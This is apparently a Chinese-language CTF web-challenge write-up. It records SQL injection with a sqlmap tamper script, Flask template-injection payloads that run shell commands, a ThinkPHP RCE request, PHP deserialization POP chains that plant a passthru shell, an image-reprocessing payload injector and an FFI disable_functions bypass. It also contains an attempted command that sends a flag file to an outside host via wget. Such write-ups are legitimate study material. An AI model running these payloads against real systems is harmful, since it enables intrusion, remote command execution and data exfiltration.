目录
收获颇多~ 边学边做 上战果!
我查了不少的资料
复盘的时候我又一个个翻看我的历史记录
因为我花了很多时间去阅读找灵感!但我不想用完就丢弃了!
【1星🌟】baby_sql
- 爆数据库
python2 sqlmap.py -r ./sql.txt --db
- 爆表名
python2 sqlmap.py -r ./sql.txt -D babysql --tables
- 爆列
python2 sqlmap.py -r ./sql.txt -D babysql -T flag --columns
- 爆数据
python2 sqlmap.py -r ./sql.txt -D babysql -T flag -C ‘flag’ --dump
【3星🌟】checkin
相关链接
相关链接🔗
弱语言判断
b[0]=C&b[2]=F&b[1]=T
科学技术法绕过
考的科学技术法
$num2 = ‘9e9’;
字符串绕过
md5a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&md5b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
【1星🌟】baby-upload
送分
【2星🌟】baby-unserialize
绕过wake_up
wake_up无法复现,但是知道考点在最后更改就好了
十六进制绕过
绕过flag是可以用反序列化出发16进制的编译
【2星🌟】easy-sql
构建tamper
def tamper(payload, **kwargs):
payload= payload.lower()
payload= payload.replace('union' , 'uniunionon')
payload= payload.replace('select' , 'selselectect')
payload= payload.replace('where' , 'whewherere ')
payload= payload.replace('or' , 'oorr')
payload= payload.replace('ro' , 'rroo')
payload= payload.replace('flag' , 'flflagag')
payload= payload.replace("'" , '"')
# payload= payload.replace('from' , 'frfromom')
# payload= payload.replace('information' , 'infoorrmation')
# payload= payload.replace('and' , 'anandd')
# payload= payload.replace('by' , 'bbyy')
retVal=payload
return retVal
payload = '" union select 1,2,(select flag from easysql.flag) #'
res = tamper(payload)
print(res)
手动注入
找到注入点以及类型
发现是 双引号才行
- 验证联合注入 查看字段
admin" uniunionon selselectect 1,2,3 #
- 查看数据库
admin" uniunionon selselectect 1,2,(selselectect grrooup_concat(schema_name) frroom infoorrmation_schema.schemata) #
- 查看表名字
admin" uniunionon selselectect 1,2,(selselectect grrooup_concat(table_name) frroom infoorrmation_schema.tables whewherere table_schema=“easysql”) #
- 获列名
admin" uniunionon selselectect 1,2,(selselectect grrooup_concat(column_name) frroom infoorrmation_schema.columns whewherere table_schema=“easysql” and table_name=“flflagag”) #
- 获取flag
admin" uniunionon selselectect 1,2,(selselectect flflagag frroom easysql.flflagag) #
【2星🌟】easy_js
处理十六进制的JS源码
# res = bytes(b'123abc\xe5\xa5\xbd').decode('utf-8')
# print(res)
with open('/Library/MyMac/CTF/py脚本/test.js', 'r') as f:
s = f.read() # 读不读取都没关系,耿直点直接重新赋值
s = """
# 这个直接复制粘贴
"""
res = bytes(s, encoding = "utf8").decode('utf-8')
print(res)
阅读JS源码
控制台修改
将window.H1 = 99999998
手动点一下 触发得到flag
这里注意 依序要 > 99999999
因为到了 99999999 才会触发
【2星🌟】easy-upload
伪造后缀名字
老规矩自己搭建个环境看看,发现与sql道理一摸一样
<?php
// 设置黑名单
$blacklist = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "htaccess", "ini");
$file_name = trim($_FILES['upload_file']['name'], " \t\n\r\0\x0B."); // 出去文件名两边
echo '文件名字:'.$file_name.'</br>';
// strrchr($file_name, '.') 1.php => .php 2.php.php2 => .php2
// substr(strrchr($file_name, '.'), 1); 2.php.php2 => php2
$file_ext = substr(strrchr($file_name, '.'), 1); // 获取后缀名字
echo '文件后缀:'.$file_ext.'</br>';
$file_ext = strtolower($file_ext); // 全部转换为小写
$file_ext = trim($file_ext, " \t\n\r\0\x0B."); // 去除后缀名左右的符号
$file_ext = str_ireplace($blacklist, "", $file_ext); // replace文件名
echo '过滤后的文件名后缀:'.$file_ext.'</br>';
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = "uploads" . '/' . md5(time()) . "." . $file_ext;
echo '文件路径:'.$img_path.'</br>';
echo '<form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file" /><input class="button" type="submit" name="submit" value="上传" /></form>';
上传一句话以及菜刀
拿到flag
【4星🌟】easy-rce
仅能函数执行?
考的 无参数rce
参考链接🔗
两处:
-
第一处意味着这个是rce无参数并且函数执行
-
第二处意味着很多不能使用
用时间来获取到46转为.
回报长度2393 发现目标文件存在相同路径下
先把注释部分打开 看时间在20左右开始跑,跑到55停住
发现根目录不存在而在网站根目录中
import requests
from tqdm import tqdm
import time
# shell=var_dump(scandir(chr(ord(chr(time())))));
def log(location, text):
with open(location, "a+", encoding='utf-8') as f:
f.write(text)
path = '/Library/MyMac/CTF/py脚本/'
url = 'http://35.229.138.83:12807/'
d = {'shell': 'show_source(end(scandir(chr(ord(chr(time()))))));'}
# 检测时间
# t = int(time.time()) % 256
# print(t)
lengthList = []
for x in tqdm(range(1000)):
t = int(time.time()) % 256
print(t)
r = requests.post(url, data=d)
if len(r.text) not in lengthList:
lengthList.append(len(r.text))
if 'flag' in r.text:
print('flag出现')
log(path + 'getFileContent2.txt', str(len(r.text)) + '\n')
log(path + 'getFileContent2.txt', str(r.text) + '\n')
log(path + 'getFileContent2.txt', '\n')
print('Done')
print(lengthList)
我该怎么绕过读取文件呢?
我翻遍了file函数,基本要么需要2个参数,要么要指针才行
我吐了。一直卡在最后一步,结果灵光一闪,我不去读,我显示出来就好了
show_source 或者 hightlight 不就出来了吗?!
【3星🌟】easy-unserialize
字符逃逸
考点就单一了
但是我也不会呀!!
学了好久 懂了为什么以及怎么绕过去了
直接看图吧!
- 搭建环境
- 手动写逻辑,找出注入点
// PHP反序列化字符逃逸过滤后字符变少
// 参考链接 https://www.freebuf.com/articles/web/285985.html
// 目标payload为触发getflag类
// 开始构造 'O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}'
// 我们要通过字符逃逸使unserialize同是反序列化2个
// 我们想要的是类似这种效果
// O:3:"tmp":2:{s:4:"str1";s:21: "easy";s:4:"str2";s:4:" ;};O:7:"getflag":1:{s:4:"file";s:8:"flag.php ";}"
// 在这里人为构造的payload: ;};O:7:"getflag":1:{s:4:"file";s:8:"flag.php
// 后来发现不成功 而是在A中触发B 而非能反序列化2个
// $test = 'O:3:"tmp":1:{s:4:"str1";s:21: "easy";s:4:"str2";s:4:";},O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}"';
// 验证2个
// O:3:"tmp":2:{s:4:"str1";s:4:"easy";s:4:"str2";s:4:"easy";}
// O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}
$test1 = 'O:3:"tmp":2:{s:4:"str1";s:4:"easy";s:4:"str2";s:4:"easy";}';
$test2 = 'O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}';
$test3 = 'O:3:"tmp":2:{s:4:"str1";s:4:"easy";s:4:"str2";O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}}";}';
$test3 = 'O:3:"tmp":2:{s:4:"str1";s:4:"easy";s:4:"str2";s:4:" ;s:4:"str2";O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}} ";}';
$test3 = 'O:3:"tmp":2:{s:4:"str1";s:21:"easy";s:4:"str2";s:4:";s:4:"str2";O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}}";}';
// $str2 = ';s:4:"str2";O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}}'
// $str1 = 'easy'
// unserialize($test3);
// var_dump(unserialize($test3));
- 验证拿Flag
相关文章链接
- 有意思的反序列化字符串逃逸
- PHP反序列化 — 字符逃逸
- PHP反序列化字符逃逸详解
- 详解php反序列化
- [CTF]PHP反序列化总结
- PHP 原生类在 CTF 中的利用
- 利用 phar 拓展 php 反序列化漏洞攻击面
- PHP 反序列化漏洞入门学习笔记
- CTFshow刷题日记-WEB-反序列化篇
- CTF之萌新反序列化学习
- 详谈CTF中常出现的PHP反序列化漏洞
【2星🌟】ezPy
基本套路flask模版注入套路
参考链接:
都是套路了,要知道几个几个注入基础
- class
- base
- mro
- subclasses
- init
- globals
// 都是套路但是不要心急 一步步走来看
name={{"".__class__.__bases__[0].__subclasses__()}}
name={{"".__class__.__mro__[0].__subclasses__()}}
name={{"".__class__.__mro__[1].__subclasses__()}}
name={{"".__class__.__mro__[2].__subclasses__()}} # 报错
发现敏感函数
发现函数os._wrap_close寻下标
string = "耿直点直接复制下来"
stringList = string.replace('[','').replace(']','').split(',')
print(len(stringList))
for index,each in enumerate(stringList):
if 'os._wrap_close' in each:
print(f'下标为%d'%index)
设置为全局然后执行cmd
?name={{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__["popen"]('ls ./').read()}}
?name={{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__["popen"]('cat /').read()}}
?name={{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__["popen"]('cat /flag').read()}}
拿到flag
【3星🌟】simple_php
拿到备份文件
提示说 哦豁我的电脑不小心黑屏了
然后翻看源码 也没啥hint
然后就去试备份文件
无数字字母过滤
参考链接🔗
最难的部分
当时我拿到这个时候已经人傻了
相当于啥都过不去
然后发现是
<?php
function getflag(){
echo '开始执行getflag函数';
}
$code = $_GET['code'];
echo '当前的code:'.$code.'</br>';
echo '当前长度:'.strlen($code).'</br>';
if(strlen($code)>14){
die("too long !");
}
// 发现fuzz
// ~ ( ) - \ | ; : / 空格 %
if(preg_match('/[a-zA-Z0-9_&^<br>"\'$#@!*&+=.`\[\]{}?,]+/',$code)){
die(" No ! No !");
}
echo '开始执行'.$code.'</br>';
@eval($code);
// 找~
// $a = (~getflag);
// echo $a.'</br>';
// echo urlencode($a).'</br>';
// $b = ~$a;
// echo $b.'</br>';
// %98%9A%8B%99%93%9E%98
最后的payload http://127.0.0.1:82/?code=(~%98%9A%8B%99%93%9E%98)();
【2星🌟】thinkphp
查询Tp版本号
直接随便输入点看版本
套路直接拿下
这种题都是套路了,直接放payload
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.220.141:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 73
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
// 2个点
// POST /index.php?s=captcha
// _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
【4星🌟】ezpop
这个就舒服多了 代码审计 一步一步POP链就好了
为了能复现看到 源码放出来!
然后也顺便放一下我是如何debug一步步出来的
<?php
error_reporting(0);
class openfunc{
public $object;
function __construct(){
$this->object=new normal();
}
function __wakeup(){
$this->object=new normal();
}
function __destruct(){
$this->object->action();
}
}
abstract class hack {
abstract public function pass();
public function action() {
$this->pass();
}
}
class normal{
public $d;
function action(){
echo "you must bypass it";
}
}
class evil extends hack{
public $data;
public $a;
public $b;
public $c;
public function pass(){
$this->a = unserialize($this->b);
$this->a->d = urldecode(date($this->c));
if($this->a->d === 'shell'){
$this->shell();
}
else{
die(date('Y/m/d H:i:s'));
}
}
function shell(){
if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump|php/i',$this->data)){
die("you die");
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
echo $dir;
file_put_contents("$dir" . "hack.php", $this->data);
}
}
if (isset($_GET['Xp0int']))
{
$Data = unserialize(base64_decode($_GET['Xp0int']));
}
else
{
highlight_file(__file__);
}
// 这里都是我一步步弄出来的
// 自己搭建个小服务器 来弄呗!
<?php
abstract class hack {
abstract public function pass();
public function action() {
$this->pass();
}
}
class normal{
public $d;
function action(){
echo "you must bypass it";
}
}
// 链尾
class openfunc{
public $object;
function __construct(){
$this->object=new normal();
}
// function __wakeup(){ // 反序列化开始调用 // 这里用<7.0.1的漏洞不触发__wakeup就行
// echo 'openfunc开始苏醒了。';
// $this->object=new normal();
// }
function __destruct(){ // 销毁开始调用
echo 'openfunc开始销毁了。</br>';
$this->object->action();
}
}
class evil extends hack{
public $data;
public $a;
public $b;
public $c;
public function pass(){
echo '我们来到了pass()咯</br>';
$this->a = unserialize($this->b); //b应该是反序列化了normal()
var_dump($this->c);
$this->a->d = urldecode(date($this->c)); // 给normal()的d属性赋值转转下来为shell
echo '$this->a->d:'.$this->a->d.'</br>';
// urldecode('shell') === 'shell'
if($this->a->d === 'shell'){
$this->shell(); // 要做到这里
}
else{
echo '挂掉了';
die(date('Y/m/d H:i:s'));
}
}
function shell(){
echo '开始执行shell(),当前的$this->data:'.$this->data.'</br>';
if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump|php/i',$this->data)){
die("you die");
}else{
echo '即将把:'.$this->data.' 写入文件</br>';
}
file_put_contents("./hack.php", $this->data); // 要把一句话写进来
}
}
// 入口
// if (isset($_GET['Xp0int']))
// {
// // 先base64解码一遍
// // 开始反序列化
// // $Data = unserialize(base64_decode($_GET['Xp0int']));
// $encode = 'Tzo4OiJvcGVuZnVuYyI6MTp7czo2OiJvYmplY3QiO086NDoiZXZpbCI6NDp7czo0OiJkYXRhIjtzOjcwOiI8PyA9IHVybGRuY29kZSgnJTY1JTc2JTYxJTZjJyk7PSB1cmxkbmNvZGUoJyU1ZiU1MCU0ZiU1MyU1NCcpOz0kOygpOz8+IjtzOjE6ImEiO047czoxOiJiIjtzOjI3OiJPOjY6Im5vcm1hbCI6MTp7czoxOiJkIjtOO30iO3M6MToiYyI7czoxMDoiXHNcaFxlXGxcbCI7fX0=';
// unserialize(base64_decode($encode));
// var_dump($encode === $_GET['Xp0int']);
// var_dump($_GET['Xp0int']);
// unserialize(base64_decode($_GET['Xp0int']));
// }
// else
// {
// highlight_file(__file__);
// }
// eval(@$_POST['a']);
$data = "1";
// $len = strlen($data);
// $shell = 'O:8:"openfunc":1:{s:6:"object";O:4:"evil":4:{s:4:"data";s:'.$len.':"'.$data.'";s:1:"a";N;s:1:"b";s:27:"O:6:"normal":1:{s:1:"d";N;}";s:1:"c";s:10:"\s\h\e\l\l";}}';
// $shell2 = 'O:8:"openfunc":2:{s:6:"object";O:4:"evil":4:{s:4:"data";s:'.$len.':"'.$data.'";s:1:"a";N;s:1:"b";s:27:"O:6:"normal":1:{s:1:"d";N;}";s:1:"c";s:10:"\s\h\e\l\l";}}';
// $encode2 = base64_encode($shell2);
// echo '绕过wakeUP'.'</br>';
// var_dump($encode2);
// echo '此时的shell: '.$shell.'</br>';
// // echo '此时的shell: O:8:"openfunc":1:{s:6:"object";O:4:"evil":4:{s:4:"data";s:70:"<?$_ = urldncode('%65%76%61%6c');$__= urldncode('%5f%50%4f%53%54');$___=$$__;$_($___[_]);";s:1:"a";N;s:1:"b";s:27:"O:6:"normal":1:{s:1:"d";N;}";s:1:"c";s:10:"\s\h\e\l\l";}}'.'</br>';
// // $bypass = 'O:8:"openfunc":2:{s:6:"object";O:4:"evil":4:{s:4:"data";s:'.$len.':"'.$data.'";s:1:"a";N;s:1:"b";s:27:"O:6:"normal":1:{s:1:"d";N;}";s:1:"c";s:10:"\s\h\e\l\l";}}';
// // echo 'base64编码后:'.base64_encode($bypass).'</br>';
// unserialize($shell);
// $encode = base64_encode($shell);
// var_dump($encode);
// unserialize(base64_decode($encode));
// 肯定是反序列化openfunc
// 绕过normal类的触发hack的action()或者是子类evil的action()
// 通过CVE漏洞绕过
// 处理evilabcd
// data绕过写入文件
$data = "<?=passthru('cp /ff* ../1.txt');?>";
$len = strlen($data);
$shell = 'O:8:"openfunc":1:{s:6:"object";O:4:"evil":4:{s:4:"data";s:'.$len.':"'.$data.'";s:1:"a";N;s:1:"b";s:27:"O:6:"normal":1:{s:1:"d";N;}";s:1:"c";s:10:"\s\h\e\l\l";}}';
$shell2 = 'O:8:"openfunc":2:{s:6:"object";O:4:"evil":4:{s:4:"data";s:'.$len.':"'.$data.'";s:1:"a";N;s:1:"b";s:27:"O:6:"normal":1:{s:1:"d";N;}";s:1:"c";s:10:"\s\h\e\l\l";}}';
$encode2 = base64_encode($shell2);
var_dump($encode2);
$encode = base64_encode($shell);
unserialize(base64_decode($encode));
参考链接🔗
POP链接寻找入口
反序列化 openfunc
CVE漏洞绕过__wakeup()
绕过normal类的触发hack的action()或者是子类evil的action()
$this->a->d 寻找突破口
urldecode 怎么绕? 官方手册写了的 加\
$this->a = unserialize($this->b); //b应该是反序列化了normal()
var_dump($this->c);
$this->a->d = urldecode(date($this->c)); // 给normal()的d属性赋值转转下来为shell
echo '$this->a->d:'.$this->a->d.'</br>';
可执行绕过写入文件
这种过滤最不可怕!
因为总存在骚操作函数然后过去咯!
明白<=>
与 <?>
的含义
最后确定了passthru 执行
注意点⚠️
必须再用burp进行url编码
不然base64_encode后的
+
会被浏览器识别为空格别问我为什么知道 burp对比器发现了华点!一个字节呀!
$data = "<?=passthru('cp /ff* ../1.txt');?>";
$len = strlen($data);
$shell = 'O:8:"openfunc":1:{s:6:"object";O:4:"evil":4:{s:4:"data";s:'.$len.':"'.$data.'";s:1:"a";N;s:1:"b";s:27:"O:6:"normal":1:{s:1:"d";N;}";s:1:"c";s:10:"\s\h\e\l\l";}}';
$shell2 = 'O:8:"openfunc":2:{s:6:"object";O:4:"evil":4:{s:4:"data";s:'.$len.':"'.$data.'";s:1:"a";N;s:1:"b";s:27:"O:6:"normal":1:{s:1:"d";N;}";s:1:"c";s:10:"\s\h\e\l\l";}}';
$encode2 = base64_encode($shell2);
var_dump($encode2);
$encode = base64_encode($shell);
unserialize(base64_decode($encode));
- 发现flag并拿到
【4星🌟】PictureGenerator
说个搞笑的哈,他提供的源码我竟然没用上,因为我发现了原题(bushi
但是跟原题又不同!
发现原题?
参考链接
当我随便写了一个 生成了图片后 发现了关键词 lemonthink
然后我就去找WriteUp了
一个是远程包含~好的根本没用
一个是$()
开始执行 好的过滤…
这个时候就陷入了僵局~
(因为本人太菜 还不知道类似$()的)
命令执行绕过
参考链接🔗
然而看了源码就知道了
要linux执行,然后就去找呀找~(都是PHP那边的)
我甚至用了f-string的特性 尝试16进制绕过
直到我看到了反引号!!
好的成功过去了!
不能存在flag 过滤了$ 过滤了"
限制长度阅读FLAG
我尝试
$(cat ./fla* | xargs -I{} wget "https://hengyimonster.top/hacker/get.php/?info={}")
失败
awk -F{ '{print $2}' /flag
失败
最后是要读取字节且不能存在flag
因为是图片 所以没法抓包 手动~
// 害怕超过长度 结果这么长
payload: `cat /flag | cut -b 1`
payload `cat /flag | cut -b1-4`
5-10 {fhfgu
11-15 fghui
16-20 _ewft
21-25 ftdf_
26-30 whfdw
31-35 eyidg
36-40 _gafd
41-45 hjasd
46-50 h_egh
51-55 fhef_
56-60 rhgfj
61-65 rikfu
66-70 !!!!}
// 大胆点 因为图片会挡住
payload `cat /flag | cut -b5-20` ...
// flag
{fhfgufghui_ewftftdf_whfdweyidg_gafdhjasdh_eghfhef_rhgfjrikfu!!!!}
【5星🌟】imgBed
初次尝试
下面的参考链接都是我边做边学的 人已经傻掉了
当我拿到这道题的时候,我最开始以为是二次注入
反正以为是SQL注入,拿到管理员的权限~
就先正常注册个账号,正常登陆看看了。
进去看见上传图片? RCE?
上传个图片看看(一句话木马~)
哦豁直接找不到404返回了🔙 怎么办呢?
RCE远程读取文件
参考链接🔗:
我看URL带参数?
随便敲个1 ~哦豁~include!!
这不就来了吗?
然后我尝试下远程包含,为了防止阿里云发短信说我服务器存在后门,就先随便包含个~
成功被禁止了~
$ payload php://filter/read=convert.base64-encode/resource=./upload.php
开始代码审计
参考链接🔗
我拿到了upload.php 以及 class.php
index.php 好像超出范围了
一步步分析发现是个二次渲染
这也就解释了为什么我会找不到我的图片了~~
具体的函数 自己百度下~PHP操作手册写的很清楚啦!😊
二次渲染如何破?
参考链接🔗
发现是个二次渲染的问题
二次渲染查资料后gif最适合
上面那个🔗很好的诠释了GIF
// 我最开始写在了最后面
<?php phpinfo();?>
// 会发现GIF会生成成功 但是重新下载下来就已经不见了
// 然后我用Burp的对比器进行对比~
// 发现了只要把注入写到头部末尾就没问题
// 见下图
同样的~ JPG也行,脚本我贴出来哈~
但是生成的图片不一定成功,记得在多试试~
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
食用方法 :php jpg_payload.php 1.jpg
上传图片成功
因为包括php文件, 用action包含成功执行
查看Phpinfo后,发现FFI可以Bypass(根据题目的提示 发现FFI是OPEN的)
此时再去看会发现很多函数都是禁止的~那么进入下一段!
Disable Functions && FFI
参考链接🔗
从RCTF nextphp看PHP7.4的FFI绕过disable_functions
bypass disable_function多种方法+实例
<?php
// 写在gif中的payload
$ffi = FFI::cdef("int system(char* command);"); # 声明C语言中的system函数
$ffi ->system("ls / > /tmp/res.txt"); # 执行ls /命令并将结果写入/tmp/res.txt
?>
上面的GIF图里面就是Bypass执行的命令
到这里了我简单说一下
首先file_put_content是可以写入php的
但是eval没法执行,蚁剑是没法链接的
然后写了远程包含啥的 当然都没禁止了 没意思😭
然后的话 linux的可以执行写文件啥的
发现可以直接写文件,但是怎么都不能读取flag
那么进入最后的坑~
ELF可执行文件
参考链接🔗
到最后一步了~
我用命令cat / | tee ./1.txt
然后浏览1.txt发现了flag
正当我满心欢喜以为做出来了 结果才是噩梦!
怎么都读不到 然后拿readflag
结果是下载8K的文件?我人傻了
然后我就灵感一闪~去看我是谁以及权限
直接好家伙 要提权? 用了sudo尝试了下 好吧我是xx
直到我看见了ELF文件是可执行的!!
那我刚才把readflag下载下来并且丢到kail中分析
不就是ELF文件吗??!!!
但是这个文件怎么用呢??开始查找!
直到 /readflag > /tmp/1
然后再 cat /tmp/1 | tee ./2.txt
卧槽! 出了!
【杂七杂八】拓展链接
在我做题的时候我属于边学边做,找到了一些不错的链接🔗
下来写复盘的话,生怕浏览记录没了,一个个筛选
陆陆续续写的 有的内容相似重复啥的 见谅~